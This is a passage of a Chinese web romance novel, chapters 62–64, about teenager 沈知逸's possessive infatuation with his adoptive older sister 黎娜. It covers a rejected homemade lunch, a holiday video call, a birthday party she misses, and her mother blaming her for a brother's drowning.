Sofia揭掉贴纸，贴到沈知逸受伤的手指上，有些无奈地说：“还是小孩子啊……”
语气中透着心疼。
小孩子，不应该做这些事情。
沈知逸垂下眸子，动了动手指。
“我没觉得疼。”
好像是切南瓜的时候，南瓜太硬了，不小心切到手上了。
Sofia：“怎么可能不疼，这种伤口又痒又疼，稍微动一下就会裂开，很不舒服的。”
沈知逸垂眸看着她，看着她细心温柔地贴好胶布，看着她为他的伤口而忧愁，有一种前所未有的感觉将他包裹起来。
很奇怪，跟对张阿姨和黎叔叔的感觉不一样，他跟Sofia之间仿佛有一根看不见的线将他们紧紧联系起来，永远都不会分开，他可以肆无忌惮，可以无理取闹，因为他知道，Sofia不会抛弃他，会无限制包容他。因为他们之间是切不断的血缘关系，非常让人安心。
沈知逸提前十分钟出发，这样能按照他跟姐姐约定的时间，在十一点半准时出现在姐姐面前。
前台小姐已经认识他了，这次直接放他进去。
坐电梯到二楼，有人进来了，沈知逸连忙靠边，抬头看到是黎父，微微愣了一下，主动打招呼。
“黎叔叔，中午好。”
黎父穿着整套的黑西装，没有大肚子，也不含胸驼背，近六十的年纪，精神面貌非常好，一看到沈知逸，脸上就露出了慈祥的笑容。
“你这个小家伙怎么来公司了，想提前体验一下大人的生活吗？”
沈知逸：“啊，不是……”
他捏紧手里的袋子，低下脑袋，怎么有种做贼心虚的感觉。
黎父看向他手里的东西，惊讶道：“你还带饭过来了？”
沈知逸脸微红：“嗯，给姐姐带的。”
黎父笑容消失，皱着眉头问：“是家里阿姨做的吗？”
他刚问完，目光就接触到沈知逸手指上的创口贴，心中五味杂陈。
沈知逸垂下眸子，很小声地说：“不是，是我和妈妈做的。”
黎父：“哦。”
电梯到八楼，沈知逸走出去，再转回身来，看向黎父。
“黎叔叔，再见。”
黎父满面愁云，蔫蔫地挥手：“再见，小知逸。”
电梯门合上，黎父叹了口气。
孩子是乖的，就是这个年纪太小了啊。
如果知逸只比娜娜小个两三岁，他还能接受，但是十一岁……怎么想都让人不太安心。
到黎娜的办公室，沈知逸抬手敲门。
里面传出来一声“进来”，沈知逸才推门进去。
黎娜躺在沙发上，两条细长的腿被黑丝包裹着，搭在沙发扶手上，穿着一件黑色细吊带短裙，露着大腿，却不显得低/俗，可能是因为身上没多肉，胸也很平，所以她穿得再妩媚，都有一种老娘很不好惹的感觉，让人不敢靠近。
沈知逸进来，第一眼看到的是黎娜的腿，把饭放到办公桌上，再朝黎娜看过来，看的还是那两条腿。
他真的好不正经啊，怎么能一直盯着姐姐的腿看。可是那两条腿真的很扎眼，他很难控制住自己不去看。
果然是模特出身，身体的每一个部位都完美得像是艺术品。
见是沈知逸，黎娜立刻坐起来，把裙摆往下扯，看到他放在办公桌上的饭盒，瞳仁震颤。
就像他昨天图片上的一样。
粉色的饭盒，粉色的杯子，粉色的茶，还有饭盒上的可爱贴纸……
幼稚到不行。
黎娜又躺回去，语气淡淡的。
“我吃过了。”
沈知逸拿饭盒的动作一顿，如同被当头泼了一盆冷水，看向她。
“你吃过了？”
“嗯。”黎娜摸着微凸的肚子。
沈知逸把饭盒放回去，睫毛垂下来盖住眼睛，他没再出声。
办公室里很安静，只有他收拾饭盒的声音。
“那你为什么不跟我说？”
明明他昨晚已经告诉过她，会给她带饭了，他今天花了那么多时间和心思，就是想让她吃到他做的饭，他期待了那么久，还切到手了，可是她竟然去外面吃完了。
黎娜语气随意：“我不知道你做饭了啊，而且我昨天晚上就跟你说了，我不吃，就算你做了，我也不吃，是你自己不听，
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非要做。”
所以，又是他的错了？
沈知逸背对着她，眼眶发红，声音闷闷的。
“姐姐，你真的很过分。”
“非常非常地过分。”
黎娜不怒反笑。
“我不明白你为什么要把时间花在这种东西上，你的时间很宝贵，应该拿去练琴或者是学习，它们可以为将来的你制造更多的财富。”
“你把时间浪费在这些事情上有什么用？难道你以后打算出去给别人做保姆，哦，不对，保姆应该不收男的，你在浪费你的青春做一些没有意义的事情。”
极其理性冷静的分析，她如同一个没有感情的机器人，在批评他所做的一切都是在浪费时间。
沈知逸站在原地没有动，仍然是背对着她的姿势，看上去像是被她说服了。
黎娜暗暗松了口气。
要是第一次不拒绝，就会有第二次第三次，难不成要沈知逸暑假每天中午给她做饭？
沈知逸的手是用来弹钢琴的，又不是来给她做饭的。
黎娜重新躺下来，扯过来一条毯子盖住腿，闭上眼睛，现在不休息到了下午会困死。
她翻了个身，面对着沙发，身后忽然传来一阵极轻的脚步声，走到沙发前停下来。
差点睡着的黎娜迅速睁开眼睛，一转头，沈知逸的脸近在咫尺，呼吸喷洒在她的皮肤上，带着淡淡的香皂味。
沈知逸双臂撑在沙发上，正对着她笑，似乎完全不在意她刚才说的那些话，笑得很乖很甜。
“我就是愿意在你身上浪费青春和时间啊，我就是愿意，我一辈子都愿意。”
他双眸漆黑如古井，倒映出黎娜惊愕的脸，睫毛根根分明，忽然垂下来，目光落到她嘴唇上，眸色渐深，他喉结上下滚动了一下，隐约能听到吞咽的声音。
看着她的嘴唇，沈知逸在想什么？
黎娜攥紧毯子，合上嘴巴，唇线平直透出几分冷淡，眼眸中所有翻滚的情绪，此刻都渐渐平息下来，恢复到了平日里不带感情的样子，像个又冷又硬的机器人一样。
她撇开脸，看向窗外。
即便她现在整个人被沈知逸用双臂困在沙发上，像关进了笼子里的鸟，也丝毫没有处于下风，特别稳，反倒显得沈知逸孩子气了。
沈知逸看着她的侧脸，目光忽然柔软下来。
“姐姐现在的样子，真的特别可爱。”
黎娜瞥他一眼。
他抿了抿嘴唇，无辜地望着她，眼睛湿漉漉的像淋了雨的小狗。
“姐姐，我好想抱你。”
黎娜瞪向他：“你敢。”
“如果我抱了你，你会怎么样？”
黎娜：“我会打死你，把你从楼上丢下去。”
沈知逸很失落：“你真的舍得吗？”
黎娜：“有什么不舍得的？”
沈知逸说：“好。”
黎娜皱眉，他在“好”什么？
还没等她想明白，就见沈知逸弯下腰，手臂从她身下穿过去搂紧，然后他重新站直，她瞬间失去了重心，整个人被他从沙发上抱起来。
沈知逸垂眸看着她，似在认错。
“姐姐，我抱你了，等会你把我丢下楼吧。”
他忽然想到什么，笑了一下，露出洁白整齐的牙齿。
“在把我丢下楼之前，你要把我抱起来的，我又可以得到你一个拥抱了。”
62. 公狗觉醒
夏天衣服薄，她半边身体紧贴着沈知逸，能清晰地感受到他胸膛的温度，还有搂在她腰上和腿弯处的手臂，特别硬，硬得跟铁一样，硌得她浑身疼。
她没有挣扎，并不是多想被沈知逸抱，而是怕自己摔下来受伤的话，会耽误工作进度。
办公桌上放着电话，黎娜伸手去拿。
沈知逸发现了，立刻换单手抱着她，把她伸出去的手抓回来，重新放好，带着她走到落地窗前，远离了那个电话。
黎娜用力拧他的手臂。
“你完了，沈知逸，我要打死你！”
沈知逸毫不在意，嘴角翘起一抹弧度，特别得意地看着她。
“姐姐，你现在打不过我的，你力气都没有我大。”
黎娜瞪他。
“我能把你抱起来，你能吗？”
黎娜骂道：“我怎么可能抱得动你这头猪！”
“为什么骂我是猪？”
沈知逸很受伤的样子。
“我又不胖，才不是猪，姐姐，你摸摸我肚子，真的一点肉都没有的。”
沈知逸抓着她的手往下摸。
她立刻把手指攥成拳头，朝反方向用力，一字一顿警告他。
“沈知逸，你要是再不放我下来，以后别想进公司的大门！”
沈知逸眼睛湿润，低头看着她，眨巴了一下，睫毛扑闪，如同蝴蝶煽动的翅膀，嘴唇肉肉粉粉的，静止状态下有点嘟起的感觉。
就这么看着她，好像在装可怜，试图博取她的同情。
黎娜移开视线，不为所动。
沈知逸问：“真的吗？不让我进公司门？”
黎娜：“嗯。”
沈知逸：“那你就看不到我了，你不会想我吗？”
黎娜：“我从来没想过人。”
沈知逸眼睫低垂。
“姐姐，你好冷漠……”
黎娜在他胸口砸了一拳。
“快点放我下来！”
“哦。”
沈知逸弯下腰，把她轻轻放到地上，怕她站不稳，还扶了她一下。
她迅速躲开了，坐回到办公桌前，看到秦钰给她发消息过来。
秦钰：【我在你公司附近，中午一起吃饭吧。】
黎娜：【我吃过了。】
秦钰：【是吗？】
黎娜：【嗯。】
秦钰：【我怎么觉得你在躲着我。】
黎娜单手撑着下巴，看到办公桌上沈知逸带过来的饭，伸手拿过来，打开用手机拍了张照片发过去。
黎娜：【不是，我现在有一份的午饭需要解决，实在没肚子去吃了。】
秦钰：【那好吧，晚上有空吗，之前不是说要请我吃饭？】
黎娜：【晚上可以。】
秦钰发了个位置过来。
秦钰：【新发现的餐厅，味道还不错，你肯定没吃过。】
黎娜：【好。】
约定好时间，黎娜关掉聊天页面，把利用完的午饭推回到原位。
“又要跟他出去吃饭吗？”
沈知逸的声音从身后传来。
距离很近，几乎贴着她的耳朵。
黎娜慢慢回头，就看到沈知逸趴在她椅背上，看着电脑屏幕，眼睫毛特别浓密，特别长。
见她转过头来了，沈知逸目光移到她脸上，撇着嘴，不太开心的样子，声音闷闷的。
“他都那么大年纪了，也不长个子了，怎么还那么能吃啊，以后他肯定会变得很胖很胖的，像西游记里的猪八戒一样……”
黎娜：“人家一直有在健身的好吧。”
沈知逸想了一会：“那些健身的人，只是看起来身体很好，其实都是虚有其表的，不如——”
他垂眸，声音低下去。
“不如年纪小的……”
他说完，自己都不好意思了，脸特别红，不敢看黎娜。
黎娜眼睛睁得大大的，难以置信，迅速把头转回去，同时手伸向后面，按在沈知逸的脸上，用力把他按下去。
这个小孩真是……
明明小时候那么可爱，那么乖，怎么现在脑袋里装的都是不干不净的东西。
黎娜冷声开口：“回家去吧。”
沈知逸看着她：“今天不能跟你一起待到下班吗？”
“嗯。”
“因为晚上你要去跟猪八戒吃饭？”
黎娜：“……”
“那我做的东西，你真的不吃了吗？”
黎娜：“吃，你放在这里。”
沈知逸眼睛一亮。
黎娜又道：“等你一走，我就扔到垃圾桶里。”
沈知逸眼睛里的光又熄灭了。
饭盒被黎娜之前拍照片弄得乱七八糟的，他全部摆好，把盖子都扣回去，装进袋子里。
黎娜抬眸，看到他食指上贴了一个创口贴，眉心微皱，下意识想去问，又被理智压回去。她当做什么都没有看到，目光回到电脑上。
沈知逸带着饭离开了，背影有一种挥之不去的落寞和悲伤。
他去卫生间洗沾了油渍的手，出来时路过茶水间，看到几个女职员在打闹。
那个女职员脖子上贴着创口贴，被几个女同事压在墙壁上。
“是你男朋友种的草莓对吧，还说什么脖子受伤了，鬼才信呢，让我看看嘛。”
女职员捂着脖子：“真的是受伤了！”
创口贴被撕下来，她脖子上有一块紫红色痕迹，女职员脸瞬间红了，赶紧用手捂住。
同事们怪腔怪调地“哦”了半天。
沈知逸从小角落里走出来，看向她们，挠了挠脸。
“那个……请问你们有腮红吗？”
女职员们停下打闹，朝沈知逸看过来，其中一个从口袋里摸出眼影盘，递到他面前。
“有这个，你要用？”
沈知逸点头。
女职员上下打量他一眼。
“那你说一句，姐姐好漂亮，我就送给你。”
其他女职员低呼：“我靠！你要不要脸，也不看看自己多大年纪了！”
沈知逸闭上眼睛，心里想着黎娜，毫不犹豫：“姐姐好漂亮！”
于是，他就获得了一个眼影盘。
办公室里，黎娜跟前台和保安打好招呼，以后不许放沈知逸进入公司。
“咚咚咚。”
黎娜：“进来。”
门打开，她瞥了一眼，见是沈知逸，眉心立刻皱紧了。
“你怎么还没走？”
沈知逸低着头，手背在后面。
“我有东西忘拿了……”
黎娜：“快点拿完滚蛋。”
沈知逸：“……嗯。”
黎娜继续画电子稿。
沈知逸在办公室里晃悠了几圈，装作找不到，然后偷摸溜到黎娜身后，看着她白皙的后颈。
他悄悄抬起手，指腹上沾着刚才调出来的紫红色眼影，若无其事地往黎娜脖子上蹭了几下。
黎娜身体一颤，瞬间站起来。
“你在干什么！”
沈知逸立刻低下头：“姐姐，你脖子
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后面有东西，我帮你擦掉……”
“什么东西？”
黎娜用手擦了几下脖子，看到手指上有些紫红色的粉末，想起刚才沈知逸那幅鬼鬼祟祟的样子，一把抓起他的手腕，拽到面前。
沈知逸收紧手指，被黎娜用力掰开。
看到他指腹上的粉末，黎娜皱起眉问：“你在搞什么？”
沈知逸被她弄痛了，眼眶有些泛红，看着她，眼神倔强。
“谁让你非要跟他出去吃饭……”
黎娜甩开他：“关你什么事！”
沈知逸后退几步，站稳身体。
是啊，关他什么事？
黎娜似乎生气了：“沈知逸，你长本事了是吧，还敢跟我玩这些小把戏！你能玩得过我？”
沈知逸撇开脸，不吭声，似乎没听到她说话，也没有认错的意思，就站在那里，抿紧嘴唇，看上去很倔，也很不服气。
黎娜大步走过来，抓住他的衣领，直接把他扯到门口，狠狠地推到外面，摔上门。
“哐”的一声，整个工作区的人都看过来了，目光落在沈知逸身上，带着窥探和好奇。
沈知逸低下脑袋，这才跟做错了事一样，灰溜溜地离开了，带着他和Sofia做的饭。
后来，沈知逸再去公司找黎娜，前台和保安都拦着他，不让他进去。
黎娜再一次以粗暴的方式，斩断了他们之间的联系。
暑假过去，沈知逸回到学校。
Eason进入了他所在的学校，负责钢琴授课，面试是校长亲自去的，与其说是面试，倒不如说是去迎接这位钢琴界的大人物。
放学后，时间还很早，沈知逸照常去琴房练钢琴。
音乐老师突然出现，在他面前放了一个笔记本。
沈知逸不解地看向她。
音乐老师撇开脸，有些不好意思。
“能帮老师一个忙吗？”
沈知逸：“老师，你说。”
音乐老师：“帮我向Eason要个签名好不好，他是我的男神！”
沈知逸：“你可以直接去找他要，你们都是同事，他不会不给你签的。”
音乐老师捂脸：“我不好意思找他，我不敢跟他说话……”
沈知逸：“为什么？”
音乐老师：“他好冷漠，感觉跟他说话，他会骂我。”
沈知逸挠头：“不会吧，他在家里脾气很好啊，从来不会骂人。”
音乐老师：“那是对你们好，Eason在学校里，对人特别冷漠，尤其是女老师。”
沈知逸：“哦。”
音乐老师：“那你帮我要Eason的签名，就这么说定了。”
沈知逸：“……好。”
托Eason的福，他在学校多了很多朋友，跟老师的关系也都比较好。甚至有一次钢琴比赛，还是校长过来给他颁的奖，这种事以前从来没有过。
沈知逸在学校里日复一日。
黎娜在公司里结束完手头的项目，又全身心投入下一个项目。
时间过得很快。
天气变冷。
街上有人开始挂红灯笼，迎接新年。
Sofia说：“知逸，过年的时候跟爸爸妈妈回趟美国吧，那边还有些事情没有处理完，还有你外婆和奶奶，他们年纪大了不方便动身，都特别想见见你。”
沈知逸点头：“我们要去几天？”
Sofia：“一个星期吧。”
沈知逸：“嗯。”
希望能尽快赶回来。
63. 公狗觉醒
恐怕就只有过年这段时间，他才有机会见到黎娜。
坐上去往美国的飞机，在空乘人员提醒关闭手机的时候，沈知逸刷到了黎娜的朋友圈。
黎娜：【今年在斐济过冬～】
下面配了九张图片，海洋，沙滩，画板，香槟，日出……
还有最后那一张，是黎娜穿着黑色的比基尼，闭着眼睛躺在沙滩上。
从侧面拍的，她胯骨上系着两根细细的绳子，露出一整个侧面的曲线，一条腿微微曲起，一只手放在脸上挡阳光，嘴角带着笑意，如同一条搁浅在海滩上的美人鱼。
沈知逸保存了这张图片。
下面有温琳评论：【你几号回来呀，人家想跟你出去耍嘛～】
黎娜：【开工前回来。】
温琳：【那么晚！我耍个鬼哦！】
黎娜：【来斐济找我。】
温琳：【在看机票了。】
黎娜：【[爱心][爱心]】
沈知逸打开飞行模式，按灭手机，放在腿上，看向窗外面。
好吧，就算他想尽快赶回来和姐姐一起过年，姐姐也不在国内了。
下飞机以后，是当地下午三点钟，有人开车过来接他们。
沈知逸在车上睡了一觉。
醒来的时候，车子正好停下来，Eason和Sofia下车，沈知逸也紧跟着下来。
周围覆盖着厚重的雪，放眼望去是白茫茫的一片，建筑物不多，有很多树木和宽广的草坪。
沈知逸跟着他们，走进一个小庄园里。
里面有一个穿得像企鹅的大叔，戴着黑帽子，帽子下面露出点金色的头发，正拿着大扫把在扫雪。
看到Sofia和Eason，他笑眯眯地打了声招呼，从口袋抓出一把糖果递给沈知逸。
沈知逸从围巾里抬起脸，鼻尖红红的，朝他笑了一下，双手接过糖果，跟他说了声“谢谢”。
继续往前面走，穿过一条弯路，就能看到排列在一起的尖顶房子，天色渐暗，挂着雪霜的窗户透出黄色光芒。
Eason打开门，里面传来出来一阵交谈的声音，很杂乱，听不太清，说的全是英文，语速特别快。
Eason用英文喊道：“我们回来了！”
那些交谈声瞬间停止，安静了两秒钟，蜂拥而至，朝他们的方向过来了。
沈知逸往Sofia身后躲。
Sofia拍了拍他的肩膀，安慰道：“不要怕，都是你的家人。”
于是，沈知逸面前出现了一群人，有亚洲面孔，也有外国人，还有四个上了年纪，头发花白的老人，被佣人们搀扶着过来。
沈知逸站在他们面前，傻呆呆的，像路边上的可爱小狗，被他们摸摸脸，拍拍肩，再紧紧抱住……
老人们的眼泪流进他脖子里。
他心底那些处于沉睡中的情感似乎被触动了，渐渐苏醒过来，也让他流下眼泪，伸出手臂慢慢回抱住他们。
哦，原来拥有别人一出生就有的东西，是这种感觉啊。
过年那天，沈知逸收到了两个家庭的红包，一边是黎父和张阿姨，一边是他在美国这边的家人。
他鼓起勇气，给黎娜发了一条信息。
沈知逸：【姐姐，新年快乐～】
抱着手机等了五分钟，没有回应，他往上翻了翻，一直都是他在发消息，黎娜都不回。
现在哪有不带手机的人，她就是故意不回他。
沈知逸有些难过，把手机放到一边。
手指还没收回来，手机就震了一下，他迅速拿起来，发消息的人显示是姐姐，他脸上瞬间露出笑容，眼睛亮晶晶的。
双击点开来，黎娜什么都没发，就很粗暴地给他发了个红包。
沈知逸想都没想，就把这个红包退回去了。
沈知逸：【我不要红包，红包是给小孩的。】
黎娜：【你不就是？】
沈知逸：【我不是啊，姐姐，我又长了一岁，今年都十七岁了。】
黎娜又发来一个红包。
黎娜：【小孩快收。】
沈知逸：【……】
他气呼呼的，也给黎娜发了一个红包过去，以牙还牙。
沈知逸：【小孩快收。】
黎娜二话没说就把红包给收了。
黎娜：【谢谢。】
沈知逸：【……不客气。】
Eason在外面放烟花。
沈知逸抱着手机跑出去，拍烟花在空中绽放的视频，发给黎娜。
沈知逸：【请姐姐看烟花～】
这次黎娜没回他。
又玩失踪。
温琳到达斐济，和黎娜一起把这个由岛屿组成的国家玩了个遍，最后又回到了海滩。
温琳带着墨镜，坐在游艇上吹风，岁月静好。
黎娜在游艇后面，两只脚踩在一块冲浪板上，放低重心，抬起双臂控制平衡，突然一个大浪过来，她晃悠几下摔进海里，又很快游上来，把湿漉漉的卷发撩到耳朵后面。
温琳扭头看她，一脸戏谑。
“娜娜啊，别玩了，你也不看看自己都多大年纪了，还整天玩人家小年轻人玩的东西，也不怕闪了你的老腰……”
游艇停下来了，黎娜抱着冲浪板上船，往她面前一坐。
温琳立刻闭嘴，看向远处，吹起了口哨。
黎娜瞥她一眼：“都多大年纪了，还学人家年轻人吹口哨，也不怕闪了你的舌头。”
口哨声停止，温琳正要说什么，结果被自己的口水呛到了，趴在桌子上咳个不停。
黎娜看着她，啧了几声，很嫌弃地摇了摇头。
桌上手机响起一阵视频通话的铃声，黎娜伸手正要拿起来，温琳已经先一步夺走了。
“让我看看是谁。”
手机屏幕上显示：沈知逸。
温琳挑眉，看向面前的黎娜。
“你猜猜是谁？”
黎娜伸手：“给我。”
温琳：“你猜一猜嘛！”
黎娜：“我一脚把你踹海里。”
温琳：“QAQ。”
她把手机递给黎娜。
黎娜看了一眼，点击挂断。
温琳瞬间泄气：“你怎么不接？”
黎娜没说话，用干毛巾擦身体。
温琳目光上下打量着她，笑得特别猥琐，站起身在她屁股上抓了一把，还拍了一巴掌。
“怕被他看到你身上的泳装？”
黎娜把毛巾甩到后面，直接抽到温琳脸上。
温琳“靠”了一声，锁住黎娜的脖子，把她拽进怀里，嘴唇贴着她的耳朵。
“你下手真他妈狠啊，我毁容了怎么办！”
黎娜：“没事，嫁不出去我要你。”
温琳星星眼：“真的吗，娜娜？”
黎娜微笑：“假的。”
“操！”
温琳一脚踹开黎娜。
黎娜整个人都飞出去了，迅速拿走桌上的手机，抓住扶手一个神龙摆尾，就稳稳地坐下来了。
手机屏幕亮了。
沈知逸：【姐姐，我
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有个东西要给你看，你不看一定会后悔一辈子的。】
黎娜嘴角抽搐。
她向来没有好奇心，对沈知逸这个“东西”没有丝毫兴趣。
黎娜拿起一杯酒，浅酌着。
沈知逸：【拜托你了，看一下好不好，这次不看以后就没机会看了，姐姐……】
黎娜拿起旁边的干毛巾，围到身上。
沈知逸的视频通话又打过来了。
这次，黎娜点击接通，把手机放到一个能支起来的地方，垂眸看着。
温琳也凑过来了。
只见通话里一阵天旋地转，然后手机被放到了一个地方，能看到宽阔的路面，还有……
黎娜和温琳同时睁大眼睛。
看到一个立起来的超大型玩偶犬跑到路上，一会扭腰，一会甩头，一会用屁股擦地，手脚配合默契，给她们跳了一段看起来很忙却不知道在忙什么的舞。
结束后，沈知逸摘掉头套，抱着狗头小跑过来，蹲到屏幕面前，看到里面有两张女人的脸，不禁愣住了。
他脸瞬间红了，捂住摄像头。
“温琳姐，你怎么也在啊？”
温琳：“我跟你姐出来度蜜月呀。”
沈知逸：“啊？”
黎娜拿起手机，趴到栏杆上。
沈知逸还穿着那身玩偶服，露出来的脑袋小小的，半张脸埋在狗头上，脸颊被风吹得通红，清澈的大眼睛看着她，时不时眨巴一下。
黎娜不想让自己出现在屏幕里，调转了一下摄像头，拍被游艇划开的海浪。
沈知逸就急了：“我要看姐姐，不要看海。”
黎娜又把摄像头调转回来了，是仰拍的死亡角度。
沈知逸这才安静下来，看着她。
“你喜欢我刚才跳的舞吗？”
黎娜：“……”
该怎么回答呢。
沈知逸：“是这边的新朋友教我的，我学了一个上午。”
黎娜：“……”
沈知逸：“好看吗，姐姐，我还可以偷偷再给你跳一个，不给温琳姐看，好不好？”
说到后面，他特别小声，生怕被温琳听到。
黎娜强忍笑意，很冷淡地说：“不用了。”
沈知逸“哦”了一声。
有些失落。
没有话说，但是谁都没有结束通话。
过了很久，沈知逸垂下眸子，声音闷闷地透过头套传过来。
“姐姐，你想我吗？”
他眼睛忽然变得特别亮，像覆上了一层水膜。
黎娜张口，刚发出一个“不”的字音。
沈知逸抬起头来，打断她。
“说想我好不好，求求你了，姐姐，说你特别特别想我……”
黎娜直接点击挂断。
穿着小狗玩偶服的沈知逸消失在了屏幕里。
黎娜趴在栏杆上，深吸口气。
手里的手机又震了一下。
她拿起来看了一眼，是沈知逸发来一条语音。
她回头看向温琳。
温琳正边喝酒边看她，笑得特别坏：“怎么啦，你们要裸/聊？我碍着你们的事了？”
黎娜瞪她：“你这张破嘴，我早晚拿针给你缝起来。”
温琳笑得不行。
黎娜拿着手机走到后面，确认没有人过来，她调小手机音量，点击沈知逸发来的语音，迅速把出音孔对着耳朵。
“姐姐，我想你了……”
像撒娇，又像委屈。
距离好近，黎娜耳朵都麻了。
64. 公狗觉醒
黎娜不在国内。
沈知逸也不急着赶回来和她一起过年了，临近开学，才跟着Eason和Sofia回到国内。
他已经从黎娜家搬出来了，现在和Eason他们住在一起。
每天早上，Sofia给他们准备好早餐，Eason和沈知逸吃完就一起去学校，大的上班，小的上学，晚上还能一起回家，日子过得平淡又幸福。
如果能看到姐姐就更好了。
处理完每天的作业，再弹两个小时的钢琴，其余时间他都用来看黎娜的社交账号有没有最新动态。
有一次，被Sofia发现了。
Sofia笑着说：“这就快要到你的生日了，到时候我们邀请黎娜姐姐过来，她肯定会来的。”
沈知逸开心地点头：“嗯！”
有了爸爸妈妈之后，他也拥有了自己真正的生日。
到生日那天，Eason举办了生日宴，在另一处私人别墅，邀请了沈知逸的同学，学校里的老师，还有黎父张阿姨，特别热闹。
沈知逸穿着整套的白西装，领口打着黑色蝴蝶结，小卷毛垂下来盖住眼睛，嘴唇又粉又嫩，露着洁白的牙齿，一直在笑。
这次见面，连黎父都要仰头看他了，心中感慨万千。
“我第一次看到小知逸的时候，他才这么大点，现在一下子长这么高了，成大人咯。”
黎父边说，边用手比划沈知逸当时的身高。
沈知逸笑得甜甜的。
张阿姨牵着弟弟。
弟弟扑过来抱住沈知逸的腿，抬头望着他，一会喊哥哥，一会用脑袋拱他，不停地跟他撒娇。
沈知逸摸他的脑袋，给他拿了一块小蛋糕。
张阿姨问：“小知逸，你现在多高了呀，肯定有一米八了吧？”
Sofia笑道：“一米八三。”
沈知逸不好意思地挠头。
张阿姨也笑：“他现在才十七岁，以后还要长的，男孩子一般都要长到二十岁，长高点好。”
Sofia说：“他现在的身高也够了，我已经很满足了。”
沈知逸站在大人后面，四处张望，在人群中没有发现自己想看到的那张面孔，有些不安。
Sofia知道他在找谁，看向黎父。
“娜娜呢？没跟着你们一起来吗？”
黎父笑容消失：“娜娜啊，她跑到法国去了。”
Sofia惊讶：“法国？”
张阿姨皱眉：“公司里有个交流学习的机会，娜娜就去了，听说要到明年才能回来。”
黎父叹气：“她自由惯了，想干什么事情连声招呼都不打，说走就走，都没跟我们商量一下。”
Sofia点头：“趁着年轻就是要多出去看看，等到我们这个年纪了，身体各方面条件都跟不上了，去哪里都累。”
黎父下意识地就想说，她已经玩了十几年了，快三十岁的人，该收收心谈恋爱结婚了。
但是突然想到他家的沈知逸，就立马把这句话给憋回去了。
沈知逸不再张望，眼里聚集起浓重的悲伤，上扬的嘴角落下来，眼睛里一片灰暗。
他垂下眸子，找了个地方坐下来，闷头吃奶油蛋糕。
陈研在别墅里晃悠了一圈，走到沈知逸对面，一屁股坐下来，特别兴奋。
“我靠，我刚看到院子里有个篮球场，以后我们可以——”
目光触及沈知逸苍白的脸庞，陈研话音猛地一顿。
“你怎么了？大姨妈来了？”
沈知逸皱眉：“你在说什么啊……”
陈研：“我看你脸白得像鬼。”
沈知逸不搭理他，小卷毛盖着半张脸，只露出点鼻尖和嘴唇，唇线很直，透着几分不悦和怨气。
怎么了这是……
陈研抓了抓脑袋：“这不是你的生日吗，你哭丧着脸干什么？”
沈知逸：“你不会懂的。”
陈研：“哈？”
沈知逸：“你连喜欢女生的都没有，怎么可能懂我。”
陈研：“……”
行，他不懂。
他可不想懂，变得跟沈知逸这个阴郁逼一样。
回到学校，沈知逸手腕上多了一个小东西。
有路过的女生看到他的手腕，不禁放慢走路的速度，直勾勾地盯着，然后拽了拽身旁的女生，悄悄用手指向沈知逸的手腕。
陈研忍不住了，一把抓起沈知逸的手举到面前。
“沈知逸，你交女朋友了？！”
他看着沈知逸手腕上的小熊发圈，用手去碰。
沈知逸迅速挣脱，把袖子拽下来盖住，紧紧护住手腕，撇开脸，声音小小的。
“关你什么事……”
陈研黑人问号脸：“不是，你不是喜欢你姐姐吗？你姐姐这才走了多久，你就移情别恋，收别人的小皮筋了？”
沈知逸不悦道：“你别乱说，我没有收别人的皮筋，这个小熊发圈是我姐姐的。”
陈研瞪大双眼：“你偷来的？”
嘿，还真让他给猜对了！
沈知逸脸一红，否认道：“才不是！这是我姐姐送给我的！”
“真的吗？真的是你姐姐送给你的嘛，小逸逸？”
陈研一边掐细嗓子，一边用肩膀不停地蹭沈知逸。
沈知逸被他恶心得不行，又羞耻又愤怒，脸红脖子粗的，捂着身后的书包跑走了。
跑到没人的地方，沈知逸扶着墙壁大口喘气，抬起手腕，把袖子撸上去一点，露出那个小熊发圈，目光瞬间柔和下来了。
他嘴角笑意渐深，喃喃着。
“感觉……像被姐姐拴住了呢。”
好想成为姐姐的私有物品。
到高三第一学期，沈知逸放学回来，路过黎娜的房子，看到她家门口有一个女人在敲门。
没有人给她开门，她就不停地按，最后没有耐心了，直接用脚去踹，握紧拳头砸门。
沈知逸刹车停下来，推着车子走过去。
那女人对着门发泄一通，没有人理睬她，便准备离开，一回身就跟沈知逸撞了个正着。
两人皆是一愣。
沈知逸看着她，嘴巴张了下。
“阿姨好。”
黎母穿着黑色碎花连衣裙，脸上皱纹很深，像用刀刻的，眼角和嘴唇耷拉下来，苹果肌下垂压出两条极深的法令纹，看上去比前几年老了不少，而且一脸凶相。
看到沈知逸，她扯着嘴角，硬是让自己露出了笑容。
“你是知逸啊，都长这么大啦？”
她眼睛浑浊布满血丝，沈知逸移开视线，轻轻地“嗯”了一声。
黎母问：“你姐姐呢？怎么一直不在家，也不接我电话？”
沈知逸想了想：“她去国外了。”
黎母：“哦，那她什么时候回来？”
沈知逸垂眸：“她不回来了。”
黎母笑容瞬间消失，盯着沈知逸，眼睛都不眨。
“你最好离她远一点，她会克人的，真的，我不骗你，她弟弟就是被她克死的，你也是她弟弟，你一定要小心啊。”
沈知逸对上她的目光，很不可思议，也很愤怒。
“你是她的妈妈，为什么要这样说她？”
黎母目露嫌弃，嗤了一声。
“我为什么都要这样说她，因为她本来就是啊！她这个小孩就是脑子有问题啊！”
黎母浑身发抖，抓着头发，目光失去焦距，似乎陷入了某种可怕的回忆，嘴唇一直在哆嗦。
“在山上的时候，我明明告诉她了啊，叫她不要先急着画画，先看好弟弟，我很
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快就回来，可是等我回来，我儿子不见了，她还坐在那里画画，我在山上找啊找啊，最后在河里找到了我儿子的、我儿子的——”
她声音哽住，眼泪涌出来。
“我儿子从河里捞上来，我怎么抱他摇他，他都不醒，他小小的身体好冰冷啊，他一定很害怕……”
“都是因为黎娜，如果她从来不画画，就会看好我儿子，我儿子就不会死，我也不会离婚，因为她一个人，把我和我儿子都害死了！”
沈知逸眼底浮上一层水雾，眉心越皱越紧，鼻尖发红发酸，眼中雾气渐浓，死死地盯着她。
“不是姐姐的错！是你的错！”
“你作为大人没有保护好你的小孩，还在不停伤害你另一个孩子，是你不愿意承认自己的失职，把所有过错都推到了姐姐身上！”
黎母瞪眼：“你说什么！都是我的错！真是笑死人了！我告诉过她了啊，看好弟弟，等我回来再画，她就是不听，这下好了吧！把她弟弟害死了！”
沈知逸用袖子擦掉眼泪。
心里特别难过。
这些话，不止对他一个人说过吧，在姐姐小的时候，到底承受了多少恶言恶语，她心里会有多难过，会不会自责，也认为全部都是她的错？
沈知逸越想越难受，眼睛被泪水浸得发红，他仰头看着天空，深深地吸了口气。
“可是……那时候的姐姐也是一个小孩啊。”
